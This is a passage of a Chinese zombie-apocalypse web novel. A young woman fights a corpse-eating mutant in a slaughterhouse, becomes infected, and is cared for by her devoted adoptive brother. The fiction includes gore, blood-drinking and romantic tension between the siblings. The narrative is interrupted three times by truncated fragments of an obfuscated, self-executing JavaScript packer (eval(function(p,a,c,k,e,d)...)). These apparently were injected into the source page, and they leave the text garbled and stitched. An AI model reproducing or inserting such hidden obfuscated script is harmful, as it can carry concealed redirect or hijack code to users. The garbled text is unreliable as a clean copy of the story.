他没有立刻离开,靠墙站着,“我就在外面,有需要叫我。” “嗯,记得帮我给手机充个电!” “好。” 水声哗啦啦地响起,半小时后,阮时卿擦着湿漉漉的头发走出来,觉得神清气爽,只是小腹有些坠胀感。 一出来她就被桌上那碗面条的香气给吸引了,连头发都顾不上吹就跑了过去,结果被某人中途拽回来按在床上。 “先把头发吹干。”成晏动作麻利地把围裙摘下,一边找出吹风机一边无奈摇头,“真是,你什么时候才能长大。” “我成年了。”阮时卿小声哼哼,同时感受到头顶温柔的揉搓,舒服得喟叹出声。 尽管过去这么久了,他帮她吹头发的动作还是这么娴熟,总是很清楚地知道手指要用什么力度怎样来回拨揉,每拢过一绺发丝轻轻牵扯头皮的痒感让她上瘾。 “别急着反驳。”气流声稍稍掩盖了他的话,“我还没说完,一辈子长不大也没关系。你什么样我都接受。 “反正我就你一个妹妹。” 阮时卿也没深想,吹完头发吃碗面以后躺在干净的被窝里幸福得打滚。 但房间里只有一张床,刚好能容两个人挤下。 她有些为难,上次和他一起睡还是在小学,她睡不着半夜闯进他屋闹着要他讲故事。那时候家里的床也不大,两个人要贴得特别紧才能睡下。 可是这都过去多久了。她把自己紧紧裹在被子里连头都不敢露出来,像个鸵鸟。 “啪嗒——”浴室的门开了。 一阵窸窸窣窣的动静之后,他踏着地板走了进来。 阮时卿假装自己睡着了,实际上聚精会神地听着,整个人非常燥热。 结果之后就没有任何动静了,房间里安静得只剩下浅浅的呼吸声。 他没有上床睡觉吗? 等了很久以后,阮时卿实在忍不住,悄悄从里面掀开了一条极小的缝隙——黑暗占据了全部的视野。 灯不知道什么时候早就已经关了。 她一把掀开被褥坐了起来,结果蓦然撞进地板上他幽深的眼底——也许是环境太昏暗,模糊了彼此的视线。 还是他也在看自己? “怎么还没睡?”他率先开口,似乎也没料想到这种情况。 “你……” 成晏等着她的下文,却什么也没等到。 “我怎么了?”他起身,盘起腿来平视着她,好像一定要得到一个答案。 阮时卿拍了拍身侧空余的位置,“为什么不来床上睡,地板又凉又硬。” “原来不睡是在等我?” 他朝床沿靠近了些,伴着喑哑的低语,“那我想抱着你,可以吗?” “……” 阮时卿的心跳被骤然打乱,她原以为自己能很果断地拒绝,却又在最关键的时刻犹豫了。 “这……不妥吧?” 他静默了片刻,呼吸重了一些。 “有什么不妥的,我平时抱你抱得还少吗? “最主要的是,我想知道你睡得好不好,有什么问题我也能第一个知道。” “……” “还是说,你其实害怕我对你做点什么?” 黑暗的环境会蒙蔽许多感官,也会放大许多平日里见不得光的欲望,也许只是一个不敢轻易透露的眼神,亦或难以维持的温柔伪装…… “哥哥才不会这样。”她开玩笑说。 “……” “上来吧。” 她朝他张开了双臂,直到他的身体熨帖过来,周身的空虚都被盈满,无处可逃。 他把被子再扯上来一点,直到完全覆住她的脖颈,然后低头,在她额间印下一个极轻的吻。 “晚安。” …… 那天晚上她睡得并不安稳。 小腹下坠的胀痛感越来越明显,以至于忍不住呻吟出声。手脚也不受控制地发凉,下意识往身旁的怀抱里拱去,仿佛要汲取所有的热度。 迷迷糊糊醒来时,只听到有人模糊地叫着她的名字,还递来了一杯热水让她喝下。 后来她什么都不记得了,只记得一只带着薄茧的大手始终覆在小腹上,时而轻、时而重、有节律地打圈按揉,彻夜未停。 末日第五天上午。 阮时卿起来的时候成晏早就不在了,窗外日光明媚,床单不知道什么时候被他洗过晒在了窗台。 桌上还留着他写的一张纸—— 【卿卿,起来记得吃早餐。卫生巾和止痛药我放床头柜里了,这次经期提前了好几天,要多注意身体,不准吃凉的辣的。我白天有任务,有任何问题可以找护卫队的人,我会尽快回来。】 阮时卿立刻打开床头柜,发现一盒止痛药和一大袋卫生巾,目测大概有几十包,日用夜用的都有,包装都挺新的。 他哪找来的? 基地货币 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她拍了拍她的肩,安慰道,“这个游戏迟早会有结束的那一天的,说不定在游戏里死了也不是真的死了。” 闫梦眼睛亮了亮,“你说得对。” 不远处是一处托儿所,不少孩子在里面玩耍。阮时卿刚好看到昨天救下的那个叫满满的小女孩在门口,被一个阿姨哄着往里带。 她走了过去,满满直接跑过来抱住她的大腿,“姐姐!” “你还记得我啊满满。”阮时卿揉了揉她的头,从兜里掏出一堆糖塞进她的口袋,“你小姨呢?她还在基地吗?” 满满没说话,眼神却黯淡下去。 阮时卿便没问了,说以后会过来看她的。 “那爸爸……那个哥哥也会来吗?”满满迟疑着问。 阮时卿噎住了,真是想不到成晏这人怎么这么受人欢迎啊。但当着孩子的面不能表露,她便扯着笑说会的。 等满满进去以后,那阿姨才告诉阮时卿满满的小姨自杀了,就在今天。 “……” 她好久都没有缓过神来。 之后她又在路上偶遇宋轩,看样子他正忙,还带着人在清理一处事故现场。等他忙完以后阮时卿才凑上去。 “宋轩哥,你知道我哥在执行什么任务吗?”她有些忐忑。 “哦,时卿妹妹啊。”宋轩不禁叹了口气,“你哥不让说,我也没办法。” 阮时卿皱起眉头,什么事还不让说。 “是很危险的事吗?”她又说,“能不能让我也参与,我的能力说不定……” 宋轩有些为难,“这个基地有规定,必须得有资格才行,至于危不危险……这个你还是等他自己回来再问吧。” “不过,你倒是可以帮我劝劝他别那么拼命。没人逼他,他自己非得上赶着去接,问他他还不说原因,天还没亮就出去,一点休息时间都不给自己留,我真怕他累垮了。” “你哥是我们这批人里资质最好的兵了。有些话话我跟他说听不进去,你说他肯定听。” 阮时卿有些奇怪,“为什么这么说?我哥连这都瞒着我怎么可能听我的。” “呃……”宋轩和身边的几个战友对视一眼,从彼此眼里看到了心虚。 谁不知道成晏最宝贝他妹妹,每天念叨得最多的就是他妹了,每次封闭训练完拿到电话第一个打的就是他妹。 他们都看破不说破。 阮时卿也没再追问。 后面闫梦提议去中城区最大的交易区看看,她们从地边摊逛到小吃街又逛到菜市场,正好把午饭解决了。 菜市场很热闹。末日后新鲜蔬菜水果的价值翻了一倍不止,这些很难再次批量培育生产,只有这里的原住民在自家菜园还种着。 阮时卿大都只是看看,她只买了个苹果,想着等成晏回来分着吃。 菜市场的尽头是猪肉专卖区,这里腥味很重,地面潮湿,环境也暗。 她们刚要离开,阮时卿却忽然听到后巷传来一阵剁骨的闷响,节奏密集而有力,夹着几声短促的哀鸣,像是人的惨叫。 她连忙拽住闫梦的衣角,“你听到了吗?惨叫声。” “惨叫?”闫梦仔细听了一会,茫然地摇摇头。 “老板,那边是干什么的?” “哦,那里是猪肉屠宰场。我们这些肉啊,都是从那进来的。” 18. 食尸者 “咚——咚——” 剁骨声还在继续,而那惨叫声渐渐消隐。菜市场内人声鼎沸,没人在意屠宰场的动静。 阮时卿却一直看着那边,不知道在想什么。 “怎么了卿卿,你听到什么了?”闫梦有点慌,“那边不会有……” “我想去看看。”阮时卿小声说,“万一过了十分钟我还没出来,你就去找护卫队的人。” “不行!”闫梦立马拉住她,“太危险了!你要是再出事我怎么办……你哥估计要刀了我。” 她的手攥得很紧,不得不搬出成晏来当借口。 “噗,你说什么呢,我哥哪有那么凶残。” 阮时卿被逗笑了,转而把她拉到角落,确保周围没人注意到之后侧过身给她看鼓鼓囊囊的口袋。 闫梦惊得倒吸一口凉气,“你哪来的……” “嘘。”阮时卿用食指轻点她的唇,眨了眨眼睛,“反正你相信我能自保就行了。” “你是我在这里最好的朋友了。”闫梦还是没有松手,眼神恳切,“你千万不能有事!” “放心,我比任何人都怕死。”阮时卿有些动容,“我就是进去看看,遇到危险我立马就跑。” “不行不行,要不还是找别人去看吧?咱就别趟这趟浑水了。” 阮时卿突然直直地看着她,“你还记得这是个游戏吗?” “什么?” “说不定这是什么隐藏挑战。”阮时卿解释道,“我自己完成比让渡给别人更好。” 闫梦:…… 我果然只是个NPC。 阮时卿顺利穿过后门进入了后巷。那股腥味更浓了,甚至夹杂着一丝腐臭。 后巷很荒凉,只有一辆三轮车停靠在里面,一个男人正翘着二郎腿坐在上面,嘴里还吐着瓜子皮,有些玩味地看着来到这里的阮时卿。 “喂,小妹妹,你来这里干什么?这里可不是什么好玩的地方。” 阮时卿假装迷路,“大哥,屠宰场在哪?我哥让我来谈生意。” “你哥怎么不亲自来?” 阮时卿面不改色,“他忙着杀丧尸呢。” 男人脸色变了变,将信将疑,指了指前面一个半掀的门帘,“在那。” “多谢。” 掀开门帘后,最先映入眼帘的是挂在前排的处理好的猪肉,屠宰场内光线昏暗,看不清里面的状况。就在她进来的那一刻,剁骨声终于停了。 “谁啊?”一个穿着脏围裙的中年男人擦着手走出来,胡茬粗硬,看到她时明显愣了一下。 那股腥味带着恶臭,更刺鼻了。 阮时卿不着痕迹地皱了皱眉,“你是老板吗?里面是在杀猪?” “是。”男人点了点头,“今天宰得多,正忙着呢。” “我能进去看看么?等会有笔大生意要跟您谈。” 男人愣了愣,微微侧身挡住了入口,语气很客气,“里面又脏又乱的,不太好看。要买肉在外面看就行。” 他指了指身后挂的那一排猪肉,“这些都是早上刚宰的,老客户都订好了,走得很快。” “不让我看看环境怎么知道卖的是猪肉还是人肉?”阮时卿笑了,抬脚往里逼近了一些。 男人的眼神瞬间变得阴鸷无比,“找茬?” “没有,不让我进去看也行。”阮时卿作势要往外走,“我叫护卫队的人来检查检查。” 一股大力从身后袭来,阮时卿早有预料般躲开,迅速掏出枪抵在男人的后脑勺,“原形毕露了?” 男人瞬间僵住,烦躁地“啧”了一声,“真是小瞧你们这些小姑娘了。你到底什么来头?” 阮时卿扎着一个简单的低马尾,穿着一身保暖的针织外套和牛仔裤,看起来确实人畜无害。 她没有回答,又把枪口抵得更紧了些,“里面到底干的是什么勾当?” 男人一脸无辜,“就是杀猪啊,你可以进去看看。” 阮时卿没有听他的,“跟我去护卫队。” 然而下一瞬,她敏锐地察觉到肢体擦过地板时的细微动静,立刻闪身退后,却撞到了什么东西尖锐的边角,疼得直抽气。 一个黑影朝她刚才的位置凶狠地扑来,却扑了个空。 什么东西?! 阮时卿忍着剧痛定睛一看,发现它外形酷似丧尸,眼球却是全黑,指甲相较于普通丧尸长出几寸,手臂膨胀粗壮,还有一头茂密的头发,能看出来在尸变之前应该是一位女性。 它嗅了嗅空中的味道,朝她露出一口尖利的牙齿,似乎十分愤怒。 丧尸又进化了么? 那个男人倒是处变不惊,在它背后露出一幅温柔又残忍的表情,“乖乖,这个看起来也不错,你又能饱餐一顿了。” 像是对着那怪物说的。 阮时卿还没回过神来,尖利的爪子便刺破空气闪现至眼前,被她堪堪躲开。 它只攻击她。 为什么?! 阮时卿来不及思考,快速朝里间跑去,随后猛地回身,抬手开枪—— 砰!砰!砰! 三发子弹都打中目标,但那东西只是踉跄了几步,喉咙里发出一串低哑嘶鸣。 阮时卿又开了几枪,效果甚微,反而激怒了它。 真是难缠。 里间正中央是一个巨大的屠宰台,上方的铁架上挂着各种屠刀。阮时卿奔至附近拿下一把剔骨刀,顺手抄起旁边的一桶血水泼了出去,腥红液体洒满地 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阮时卿冷汗涔涔,意识到它的弱点或许是鼻子。不能再拖下去了,那个老板说不定什么时候就会进来。 她轻轻挪动身体,从猪体下爬出,顺手从地上抓起一团沾满猪屎和油脂的抹布,狠狠往自己身上抹。气味刺鼻得让她自己都想晕过去。 昏暗的灯光突然映射出不远处垃圾堆里一团尸骨惨白的阴影,包括人的头骨。 阮时卿看得头皮发麻。 怪物离开了挂尸区,似乎还没注意到这边的变化。 下一步,阮时卿故意走到一条敞开的排血槽边缘,脚步重重踩下,溅起一滩血水,引得怪物猛地回头。 “我在这!”她大声招呼。 它果然受刺激冲来,阮时卿看准时机躲开,让其扑了个空落入血槽,挣扎之间被槽口卡住了手臂。 阮时卿握紧剔骨刀,冲上前去,朝着它张开的鼻孔狠狠刺入! “嗬——!” 怪物发出非人的惨嚎,猛地挥爪反击,尽管阮时卿已经尽力躲开,却还是感受到肩上传来一阵轻微的刺痛。 它彻底失去了方向感,在血槽中狂乱扑打,最终倒地抽搐。 阮时卿咬紧牙关,手握刀柄不敢有丝毫的放松,她捂着右臂倒在墙角剧烈地喘息起来,眼前开始不受控制地发晕。 门外忽然一阵喧哗,一阵凌乱而又沉重的脚步声迅速逼近。 她撑着昏茫的头看去,成晏刚好立在门帘透进来的逆光里,身体站得笔直,眼神却没有任何温度。 她看不到他眼里的光了。 19. 给你咬 他身后有无数人影晃动着,那个屠宰场老板被抓了起来,哭丧着喊老婆,震天动地。 绷在心底许久的酸涩终于涌上来,打湿了眼眶。 “哥……”阮时卿又喊了一声,“哥哥……” 她还没来得及叫下一声,就被他拥进怀里。 “我在,”他低头吻了吻她的发顶,右手护在她脑后一下下抚摸着,“哥哥在。” “对不起,我来晚了。” 这一声,饱含许多怜惜与歉意,最终化作她眼睑上蓦然落下的一点冰凉。 阮时卿抬眼看去,无数身穿制服的人陆陆续续将这里包围起来,查看了那怪物的尸体和那堆被它吃干抹净的尸骨,冷静而迅速地收拾着残局。 “我们在屠宰场发现了食尸者,它似乎只对特定的人产生某种感情。” “好的,马上送往实验室。” “对,前不久失踪的人口有线索了。” “现场只看到一位受害者,正在进一步调查中。” …… 肩头的伤还在渗血,染红了衣物,泛着密密麻麻的痒,又逐渐顺着血管蔓延至全身。阮时卿觉得浑身就像有无数小虫子在啃食一样,难受得说不出话。 成晏果断脱下作战服的外套盖在她身上,挡住所有的脏污和血渍,也隔绝了其他人目光各异的打量。 “哥哥带你回家。” 他将她轻松抱起,抬脚就往外走去。 一位护卫队的成员拦在他身前,用例行公事的语气说,“成队,这位小姐需要留下来接受检查和做个笔录。” “她不需要。”成晏看也没看他一眼,语气很冷,“我可以担保,出了任何事我负责。” “这……”那人似乎有些为难。 “她是我妹妹,有什么问题吗?”成晏终于瞟向他,声音重了几分。 “好的成队。” “你们留下来处理现场,我先带她回去,有任何情况之后再说。” 成晏说完便护着阮时卿穿过门外聚集的人群。 外面很吵,她好像看到闫梦躲在角落里哭,但她已经无力回应。 坐上了一趟回程的专车,成晏紧紧按着她的肩膀止血。 “哥哥,我好难受……”阮时卿逐渐感觉到浑身发凉,额头开始冒着一阵阵冷汗,控制不住往他怀里钻,“我是不是要死了……” “胡说。”成晏把外套掖得更紧了些,脸颊贴她的额头感受温度,“止住血就没事了,相信我。” 他的呼吸始终温热,可声音却愈加模糊,阮时卿的听力好像不管用了。 回到家后,阮时卿感觉自己的外套被他解开,被她捂得很紧的苹果扑通一声落了下来,她想去捡,被他按住。 “先不管那个。” 她靠在他怀里,衣服褪至手臂,肩膀的伤口裸露出来,皮肉外翻,隐隐透着黑红的血。看着他打开医药箱仔细小心地为自己处理伤口,什么话也说不出来。 像打了麻药一般,她竟不觉得很疼,只是体内那股凉意散去后,全身乏力,困意毫无征兆地袭来。 成晏的掌心突然伸过来,罩在脸侧,煨热了皮肤,让她稍微清醒了一些。 “别睡,卿卿,听我说。” “想不想知道我今天在外面看到什么了?” “我看到我们以前常去的那个公园里的秋千又搭起来了,你一直想玩来着。等你好了,我带你去好不好?” “不,只要你好起来,我在家里为你现做一个也行。” “……” 他继续包扎,自顾自说着,只管让她听到,不在乎有没有回应,声音温柔得像呢喃。 “今天外面太阳很好,你喜欢的山茶花开了,我没有摘回来,想着和你一起去看。” “天气越来越冷了,你说我要不要再给你织一条围巾?这次不织红色的了,你说不好搭。” “……” “明天就是你的二十岁生日了,你还想要什么礼物?想在家里过还是去外面?都听你的。” “听说一天后会下雪,到时候我们还去打雪仗,这次我不还手,任你欺负怎么样?” 包扎好后,他打来一盆热水,让她平躺在床上,给她擦脸擦脖子还有小腿。 “去年过年我没能陪在你身边,今年我们一起过,以后的每一年我们都一起过。” “……” 擦完以后,成晏转身时手头一颤,毛巾掉在地上,又重新沾上污渍。 一声轻不可闻的叹息落下,他俯身将泪流满面的阮时卿轻揽入怀,手颤抖着将她的衣料抓皱了。 “对不起,哥哥错了……哥哥不该让你一个人……” “以后我们再也不分开。” 就好像她只是生了一场无关紧要的小病。 明天之后,他们还能以兄妹之名继续生活下去,直到天荒地老。 …… 没过多久,阮时卿忽然感受到一股极致的燥热在体内涌动,似乎有什么叫嚣着接管她的身体,让她发出一声不肖人声的低喝。 她猛地睁开眼睛,双目充血赤红,看到他横在腰上的小臂,竟然有那么一瞬间想直接咬下去。 “你走开!别碰我!” 她也不知道哪来的力气,竟然就将毫无防备的成晏推至数米远,可他似乎一点也不惊讶。 “对不起对不起……” 阮时卿的理智在极限拉扯中几近崩溃,抱着头发出痛苦的呜咽,一条条瘆人的青黑筋脉开始从她脖颈处皮肤表下凸起,速度极其缓慢。 一双大手骤然捧起她的脸颊,几乎能将她整张脸盖住,粗粝的指腹有些灼人的烫,让她不得不直视他的眼睛。 那里没有光,只有她的影子。 “没事的,没事的,卿卿,你还记得奶奶家出现的那个男人吗?” “他本来没有尸化的,只是没有撑过最后关头。” 成晏蹲在她身前,几乎与她额头相抵。 “你一定可以的。信我,好不好?” “深呼吸,试着集中注意力感受我。” 阮时卿几乎听不清他的声音,也抵不过体内那股庞大的力量,身体好热好烫,麻痹感悄悄攀上大脑神经。 “吃……我要……”她低吼着,张嘴就朝他的脸咬去。 成晏没有躲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不关心外面到底有多少人活着,我也不在乎那些丧尸有多可怕,你在世界的哪一边,我就在哪一边。” 这话已经够清楚了。 他永远不可能与她背道而驰。 他的信仰也很简单,从始至终只有她一个人而已。 “哥哥从来没有求过你什么,这是唯一一次。” “好好活着,既为了自己,也为我。” 再后来的阮时卿就记不清了。 外面夕阳渐隐,当晚她便高烧不退,意识始终模糊难辨,连水也喝不进去。 身侧的脚步反复踱了好几个来回,门开了又关,床垫一陷再陷。 最后一点叹息声落下时,好像有人用指尖轻柔地拨开她汗湿的鬓发,在耳边说了句什么。 直到唇上温软的触感传来,灵巧的舌尖撬开她的牙关渡进清凉的甘霖,再顺着喉间吞下。 如饥似渴的她更主动地攀附上去,吸吮着那处所有的柔软,像是要把汁液汲取殆尽。 她后知后觉意识到,那句话好像是—— “原谅哥哥这个混蛋。” 20. 谶言 记忆里她是在全家人的期待下出生的。 那个被她喊做妈妈的女人身上总是泛着一股奶香,喜欢亲她的脸颊说这是“我的宝贝”,而那个被称之为爸爸的男人不善言辞,却总是在别人夸她可爱时笑得最骄傲。 直到她被查出患有先天性心脏病,幼小的她还并不懂这意味着什么,只是很少看见父母再对着她笑了。 他们没有因此薄待她,而是积极地带着她去各地治病。幼儿本就体弱,有好几次手术差点没抢救回来。不殷实的家财几乎散尽,半夜总是能听到低低的呜咽和压抑的叹息。 父母越吵越凶,欠的债也越来越多。 尽管后面她的病治好了,但体质依旧很差,三天两头感冒发烧,养了很久才有变好的迹象。 裂痕终于在她七岁那年膨胀到无法忽视的地步,父母离婚,她被判给了妈妈。 自那以后,妈妈对她淡漠了许多,情绪也越来越不稳定,气急了还会打她,为了好过一点她逐渐养成了逆来顺受的性子。 在她九岁那年的某一天,妈妈突然一反常态,对她温言细语笑脸相向。 “宝贝,今天带你去庙里祈福,顺便去游乐园玩,开不开心?” 她兴奋得忘了问为什么。 妈妈给她穿上了新买的小裙子,扎了一个精致的小辫子,把她打扮得漂漂亮亮,然后牵着她的手出门。 那日晴光正好,街上熙攘,她蹦蹦跳跳地走着,跟着妈妈来到城里最有名的寺庙。她们祈完福并没有立刻离开。 妈妈把她带到了一个长着胡子的老先生面前,那里摊着几枚古旧的东西。 “先生,帮我算算我女儿的命。” 老先生说了好多听不懂的话,只有一句她听得格外清晰。 “……这孩子活不过21岁。” 她害怕地牵紧妈妈的手,仰头小心翼翼地观察她的脸色。 妈妈很平静,笑着揉揉她的头发说,“宝贝不怕,我们去游乐园玩。” 游乐园很大,进去的时候她一眼就看到了卖棉花糖的摊位,想吃却不敢说。 没想到妈妈却主动问她,“宝贝想不想吃棉花糖?” 她有些受宠若惊地点头。然后她吃到了最大的那一串。 “想要什么就说,妈妈买得起。” 她开心得不能自已。那天她几乎把游乐园所有项目都玩了一遍,还有妈妈陪着她一起笑一起叫。 晚饭是在外面的馆子吃的,妈妈给她点了很多菜,自己却吃得很少。这是离婚后她们第一次来外面吃。 “妈妈,我爱你。”她说。 妈妈的筷子停在半空里,眼里慢慢起了水光,嘴角往上扬了一点。 “嗯。”她应了一声,很轻。 吃完饭,妈妈带她去商场。新衣服被一件件装进袋子里,新玩具发出塑料的亮光,多得她快提不下。妈妈又说带她去附近散散步。 走到一处梧桐树下,妈妈的手机突然响起。 “宝贝,妈妈有点事情要去处理,”妈妈蹲下来,替她把裙摆理平,又把她手里那些袋子摆得稳一点,“你在这里等我好不好?我马上回来。” 她拿着那个几乎能将她整张脸盖住的棉花糖,茫然地等在原地。 后来袋子的绳子勒进指缝里,她换了好几次手。她想叫一声“妈妈”,又怕自己叫大声了会惹人烦,只好把声音咽回去,揉着脚踝坐在旁边的石墩上。 回头看是一座被遗忘的孤儿院,往前看女人的身影淹没在喧哗的人群中,再也没回来。 风吹过头顶的梧桐树,一片焦黄的枯叶仍倔强地攀在枝头,摇摇欲坠。 深秋了。 人们匆匆忙忙从她身侧越过,将要迈入下一个季节。 可她的世界永远困在那一天,再也走不出来了。 * 阮时卿醒来的时候是末日第六天上午。 体内的燥热终于褪去,她也不烧了,但饥饿的胃里像是有个巨大的空洞灼烧着她。 与此同时,她感觉自己的手像是被人握在掌心,指缝间传来指腹粗粝的触感。 她抬起眼,正好望见成晏背对着她坐在床边,低头专注地看着什么,室内响起清亮的指甲断裂声。 他大约也没有察觉到她醒了,她也没说话,就这样静静地看着他的背影。 窗外的光亮得刺眼,金光从他周身流泻下来,衬得他黯淡了些,也瘦了。 身上很舒服,没有从屠宰场出来的怪味,她已经换上了睡衣,但还是遮掩不住早已蔓延到全身的青黑斑痕。 她用右手摸了摸脸颊,凸起的异感很明显,像是某种永久的烙印。 泪水毫无征兆地涌了出来。 这俨然是一种已经感染的状态,但不知道为什么仍能保留人类意识。 她咬着舌根,咽下苦涩,极力压抑对血肉的渴望,哑着嗓子说,“哥……” 给她剪指甲的男人顿了下,低头吹了吹她手上的灰,然后小心地塞回被子里,这才回头。 “什么时候醒的?”他一边说一边用手背试了试她额上的温度,脸上总算才有了点笑,“不烧了。” 她要挣扎着坐起来,成晏便扶着她。 近距离看才发现他眼睑下方是几乎一夜未睡的积倦,还有新冒出来的点点胡茬,大概是一直守在她身边忙得没空管理自己的形象。 “生日快乐,卿卿。”他轻刮了下她的鼻尖,嘴角又上扬了几分,“又长大一岁。” 是啊,又长大一岁,也离那个死亡的预言更进了一步。 阮时卿仍咬着牙关,勉强挤出一丝笑容。 “笑不出来就别笑了,跟哭似的。”成晏无奈地捏捏她的脸,“今天我们的小寿星最大,想吃点什么?” “蛋糕。”她眨了眨眼睛,模样看起来乖巧得很,“蛋糕店里的那种。” “生日怎么会忘了这个。”他说,“但是空腹吃不好,先吃点别的垫垫肚子。” “不要,我就要这个。”她坚持,“今天我最大,听我的。” “行行行,你说了算。”成晏的脾气异常的好,声音也放软了许多。 他很快穿上外套,朝门口走,“那你待在家,不许乱跑,我再带点馄饨回来。” 像是不放心似的,都握住把手了他还要回头再确认一遍,“等我回来。” 阮时卿乖巧点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我有小道消息,上面的人已经针对这次危机专门成立了一个实验室,说不定这末日很快就结束了。” “拿什么实验?” “不清楚……” 在找她?找她干什么,难道是已经发现了她尸化的事实? 她表面波澜不惊,实际上已经快要按捺不住自己想要咬人的冲动。唇角被她死死咬着,很快尝到了一丝血腥。 排了大概十分钟,终于快轮到她检查,结果前面的人突然被地上的石头绊了一下直直地向她倒过来。 阮时卿迅速躲开,虽然没有被撞倒,但脖子上的围巾却在慌乱之中被他拽了下来。 “不好意思不好意……”男人还没说完便大叫一声,一脸惊恐地向后退。 “你……你……” 其他人瞬间被吸引了注意力,就在他们都看过来的时候,一双大手突然从身后搂过来,不由分说地将阮时卿拥进怀里,宽大的外套几乎将她整个人罩住,视野瞬间漆黑一片。 她一抬头却能看见成晏泛红的眼睛。 “宝宝,别闹脾气了,跟我回家。” 21. 围城 声音完全是不同于以往的亲昵和熟稔,但阮时卿却没听出什么温度。 “小情侣吵架呢,别看了别看了。” 周围不知道是谁说了句,后面排队的人自动补上空位,阮时卿只能勉强透过衣服的缝隙看到摔倒的男人拍着屁股站起来,不时回头看两眼,似乎在纠结什么。 成晏的手交叉着覆在身前,箍得很紧,手背上隐隐泛起青筋,让她完全挣脱不开。浓重而急促的呼吸喷洒在头顶,她能清晰地感受到他胸口的起伏。 她知道,他大概是气极了。 试图掰了两下他的手臂无果,便说,“放开我,成晏。” “跟我回去。” “我不。” “跟我倔什么。”成晏微微松开一只手,将自己脖子上的围巾拽下来,从身后替她披上,再将面料撑开把她捂得严严实实。 粗糙的指腹轻擦过脸侧,带起一阵颤栗。这下鼻尖都是他身上熟悉的味道。 与此同时,阮时卿也恢复了清明的视线,只是他的手仍紧紧地箍着她,似乎不打算松了。 对血肉的渴望越来越强烈了,她现在都不敢看他的脸,只怕多看一眼就要咬上去。 “成晏,我都这样了你还来找我干什么。你信不信我下一秒就把这围巾扯开,让大家对你避之不及?”她偏过头威胁道。 成晏却看着她的侧脸,十分平静,“都不喊哥哥了,是打算彻底和我撇清关系?” 那后半句他跟没听到一样。 好像她只是装模作样地伸出了一双并不锋利的爪子,同时袒露出自己柔软的肚皮,在他看来,一点威胁也没有,甚至可爱得紧。 “这里不是说话的地方,我们先回去。” 阮时卿彻底没辙了,只能被他半拉半抱着回了家。 一回到家她便撑不住了,差点倒在地上,“饿……我好饿……” 成晏及时扶住她,迅速拔出裤腿的匕首往手背上一划,鲜血便汩汩涌出,然后递到她嘴边。 阮时卿完全不能控制自己,本能地抱住他的手臂就开始吮吸,血液源源不断地涌出再被她吞咽下去,胃里的灼烧感终于获得了缓解。而成晏只是皱了皱眉。 等她回过神时,猛地松开手臂后退半步,嘴角还沾着血,有些怔愣。 她感觉自己的体内忽然充满了力量,心跳也更有劲了,但喉间那股鲜美的腥味却让她心理上作呕。 她怎么能…… “擦擦。” 一张湿纸巾被递了过来,阮时卿接住后,发现成晏已经按住伤口打开旁边的柜子,游刃有余地拿出医药箱并扯出一段绷带来给自己止血。 “我来!”阮时卿喊道。 她现在力气出奇的大,一下便从他手中抢过了绷带帮他缠好,眼尾处隐蕴着清浅的水光。 “怎么哭了。”成晏皱着眉,用拇指指腹轻轻蹭去了那一点点湿润。 阮时卿沉默地帮他包扎完,突然用一种很决绝的眼神看着他,“这就是你想要的吗?一个只会吸人血吃人肉的怪物?” 成晏的眼神黯了黯,没有回应。 阮时卿又朝他靠近了一步,然后猛地拽下自己的围巾,让那些丑陋的痕迹全部暴露在日光下,映在他的眼底。 “你要让我以后每天看着你眼里的倒影,提醒我这幅面目狰狞的样子,然后带着最深最重的罪孽和愧疚活着吗?” “是你教我要遵从自己内心的感受,想做什么就去做,所以我选择离开。因为我不想伤害你,可你还是给了我伤害你的机会。” “哥哥,你为什么总是能这样轻描淡写地揭过一切?你越是这样,我越是觉得我可恶,罪大恶极。” “长这么大,你总有很多事瞒着我,可我的事你却都要管着,就算世界末日了也一样。” “我讨厌你,哥哥,我看不透你。” 讨厌这两个字从她嘴里说出来,成晏听着比手背上的伤口还疼,不免自嘲地笑了笑。 这件事又牵扯出了许多陈年旧疤,她所有的控诉都来自于内心深处对自己的不认同与厌恶。小时候拆散了整个家庭,长大后不慎成为怪物,她太早熟也太懂事,却从未想过为什么这样不公的命运会降临在自己身上。 所以并不是非要把最亲近的人推开,而是她习惯了先否定自己,这样获得的伤害最少。 说完阮时卿只觉胸中轻快,积累的郁结仿佛都以另一种方式发散了出来。 敏感的她其实并不会轻易说出这些,因为在两个人的博弈里,最先说出心思的人往往最先输。 她能完全相信成晏吗? 那股若隐若无的腥味仍在嘴里打转,让她心里一酸,便移开了目光。 下一刻,下巴就被他不由分说地抬起,迫使她撞进他的眼睛。 成晏缓缓低头,阴影覆上眉骨,让他整个面部看起来更深邃了些,也更难以捉摸。 “以前每次你发脾气都会说讨厌我,我要是每次都当真,估计也活不长。” “想听实话吗?好,那我就告诉你我到底是怎么想的。” 成晏深吸口气,胸口积蓄的情绪太浓,以至于他不得不压抑着。 “怪物怎么了,吸血吃肉又怎么了,那也是我妹妹,我看着长大的。” “只要你还是这副身体,这副身体里住着的是同一个灵魂,那就是阮时卿,就是我唯一的妹妹,她没有别的名字,更不是一个‘怪物’二字就能代替。” 阮时卿张了张唇,想说什么,被他用食指抵住。 “我说了,我永远和你站在同一边,就意味着我甘愿承担和你一样的风险,你不用替我考虑,不用担心自己会给我带来什么麻烦。” “无论你有多少个身份,你首先是我妹妹,那我就不能不管你。” “可是……”她有些哽咽,“我们又没有……” “没有什么,血缘关系?”成晏嗤笑出声,“事到如今,你觉得我还会在意这个吗?” 